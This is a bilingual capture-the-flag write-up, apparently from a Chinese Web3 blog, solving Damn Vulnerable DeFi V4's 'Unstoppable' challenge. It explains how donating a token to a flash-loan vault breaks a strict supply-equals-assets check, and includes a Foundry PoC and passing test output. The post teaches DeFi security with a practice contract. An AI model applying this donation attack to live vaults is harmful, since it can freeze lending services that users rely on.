【Damn Vulnerable DeFi V4】1 | Unstoppable 题解

  • 0xE
  • 更新于 2024-10-14 10:05
  • 阅读 429

CTF Writeups 系列:"Unstoppable" 本题涉及到闪电贷和代币化保险库。

最近想开始更新 CTF Writeups,并且题目中涉及到的相关知识点,我会提前发专题文章供参考。Damn Vulnerable DeFi V4 刚开始的很多题都和闪电贷有关,可以很好的学习闪电贷。

本题涉及到了 ERC 4626 和 ERC 3156,可以参考我之前发的文章:

ERC4626 详解 闪电贷以及如何利用它进行攻击:ERC 3156 漫游指南


Challenge - Unstoppable

There's a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.

To catch any bugs before going 100% permissionless, the developers decided to run a live beta in testnet. There's a monitoring contract to check liveness of the flashloan feature.

Starting with 10 DVT tokens in balance, show that it's possible to halt the vault. It must stop offering flash loans.

Objective of CTF

The objective is to make the tokenized vault contract unable to continue offering its flash loan service.

Vulnerability Analysis

Our goal is to stop the flash loan from functioning, so let's take a look at the flashLoan function in the UnstoppableVault contract that provides the flash loan service.

    function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);

        // callback must return magic value, otherwise assume it failed
        uint256 fee = flashFee(_token, amount);
        if (
            receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
                != keccak256("IERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);

        return true;
    }

The function has four conditions to check:

  1. The amount parameter cannot be zero.
  2. The borrowed token must be the DVT token.
  3. convertToShares(totalSupply) must equal balanceBefore().
  4. The success of the flash loan operation is verified through the magic value returned by the borrower's contract's onFlashLoan method.

Among these, the first, second, and fourth conditions are relatively standard, so we will focus on analyzing the third condition.

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

By substituting totalSupply into the convertToShares() function, we get $\frac{\text{Total Supply} \times \text{Total Supply}}{\text{Total Assets}}$. Meanwhile, balanceBefore equals $\text{Total Assets}$. The check condition requires that $\frac{\text{Total Supply} \times \text{Total Supply}}{\text{Total Assets}} = \text{Total Assets}$, which means $\text{Total Supply} = \text{Total Assets}$. This implies that the contract expects the balance of DVT tokens and the total supply of tDVT tokens to maintain a 1:1 ratio. Therefore, we can simply transfer additional DVT tokens into the vault, causing the check condition to fail.

Attack steps:

Directly donate DVT tokens to the contract.

PoC test case

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {UnstoppableVault, Owned} from "../../src/unstoppable/UnstoppableVault.sol";
import {UnstoppableMonitor} from "../../src/unstoppable/UnstoppableMonitor.sol";

contract UnstoppableChallenge is Test {
    address deployer = makeAddr("deployer");
    address player = makeAddr("player");
    address monitor = makeAddr("monitor");

    uint256 constant TOKENS_IN_VAULT = 1_000_000e18;
    uint256 constant INITIAL_PLAYER_TOKEN_BALANCE = 10e18;

    DamnValuableToken public token;
    UnstoppableVault public vault;
    UnstoppableMonitor public monitorContract;

    modifier checkSolvedByPlayer() {
        vm.startPrank(player, player);
        _;
        vm.stopPrank();
        _isSolved();
    }

    /**
     * SETS UP CHALLENGE - DO NOT TOUCH
     */
    function setUp() public {
        startHoax(deployer);
        // Deploy token and vault
        token = new DamnValuableToken();
        vault = new UnstoppableVault({_token: token, _owner: deployer, _feeRecipient: deployer});

        // Deposit tokens to vault
        token.approve(address(vault), TOKENS_IN_VAULT);
        vault.deposit(TOKENS_IN_VAULT, address(deployer));

        // Fund player's account with initial token balance
        token.transfer(player, INITIAL_PLAYER_TOKEN_BALANCE);

        // Deploy monitor contract and grant it vault's ownership
        monitorContract = new UnstoppableMonitor(address(vault));
        vault.transferOwnership(address(monitorContract));

        // Monitor checks it's possible to take a flash loan
        vm.expectEmit();
        emit UnstoppableMonitor.FlashLoanStatus(true);
        monitorContract.checkFlashLoan(100e18);

        vm.stopPrank();
    }

    /**
     * VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
     */
    function test_assertInitialState() public {
        // Check initial token balances
        assertEq(token.balanceOf(address(vault)), TOKENS_IN_VAULT);
        assertEq(token.balanceOf(player), INITIAL_PLAYER_TOKEN_BALANCE);

        // Monitor is owned
        assertEq(monitorContract.owner(), deployer);

        // Check vault properties
        assertEq(address(vault.asset()), address(token));
        assertEq(vault.totalAssets(), TOKENS_IN_VAULT);
        assertEq(vault.totalSupply(), TOKENS_IN_VAULT);
        assertEq(vault.maxFlashLoan(address(token)), TOKENS_IN_VAULT);
        assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT - 1), 0);
        assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT), 50000e18);

        // Vault is owned by monitor contract
        assertEq(vault.owner(), address(monitorContract));

        // Vault is not paused
        assertFalse(vault.paused());

        // Cannot pause the vault
        vm.expectRevert("UNAUTHORIZED");
        vault.setPause(true);

        // Cannot call monitor contract
        vm.expectRevert("UNAUTHORIZED");
        monitorContract.checkFlashLoan(100e18);
    }

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_unstoppable() public checkSolvedByPlayer {
        token.transfer(address(vault), 1);
    }

    /**
     * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
     */
    function _isSolved() private {
        // Flashloan check must fail
        vm.prank(deployer);
        vm.expectEmit();
        emit UnstoppableMonitor.FlashLoanStatus(false);
        monitorContract.checkFlashLoan(100e18);

        // And now the monitor paused the vault and transferred ownership to deployer
        assertTrue(vault.paused(), "Vault is not paused");
        assertEq(vault.owner(), deployer, "Vault did not change owner");
    }
}

Test Result

Ran 2 tests for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_assertInitialState() (gas: 57390)
[PASS] test_unstoppable() (gas: 67067)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.81ms (4.26ms CPU time)

中文题解

题目

有一个 token 化的金库合约,里面存放了一百万个 DVT 代币。在宽限期结束之前,它会免费提供闪电贷服务。

为了在完全丢弃权限之前找出潜在的漏洞,开发者们决定在测试网上进行实况测试。为此,他们部署了一个监控合约,用于检查闪电贷功能的活跃状态。

从只有 10 个 DVT 代币的余额开始,展示如何让这个金库合约停止运行。目标是让它无法继续提供闪电贷服务。

解释: 题目的意思是需要让合约无法正常的提供闪电贷服务,即修改一些条件,导致即使正常调用闪电贷函数,也会失败。

我们的目的是让闪电贷停止运行,所以来看看 UnstoppableVault 合约中提供闪电贷的接口 flashLoan。

函数中有四个检查条件:

  1. amount 参数不能为零。
  2. 借贷的代币必须是 DVT 代币。
  3. convertToShares(totalSupply) 必须等于 balanceBefore()。
  4. 闪电贷操作是否成功,通过借贷者合约的 onFlashLoan 方法返回的 magic value 进行验证。

其中,1、2、4 三个条件相对正常,我们重点分析第 3 个条件。

我们把 totalSupply 代入到 convertToShares() 函数中可以得到 $\frac{\text{Total Supply} \times \text{Total Supply}}{\text{Total Assets}}$。而 balanceBefore 为 $\text{Total Assets}$,检查条件的要求是 $\frac{\text{Total Supply} \times \text{Total Supply}}{\text{Total Assets}} = \text{Total Assets}$,即 $\text{Total Supply} = \text{Total Assets}$。意味着,合约希望 DVT 的余额和 tDVT 的总发行量保持 1 比 1 的关系。于是,我们可以直接向金库合约中转入额外的 DVT 代币,从而使检查条件失败。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
0xE
0xE
0x59f6...a17e
17年进入币圈,做过FHE,联盟链,现在是智能合约开发者。 刨根问底探链上真相,品味坎坷悟Web3人生。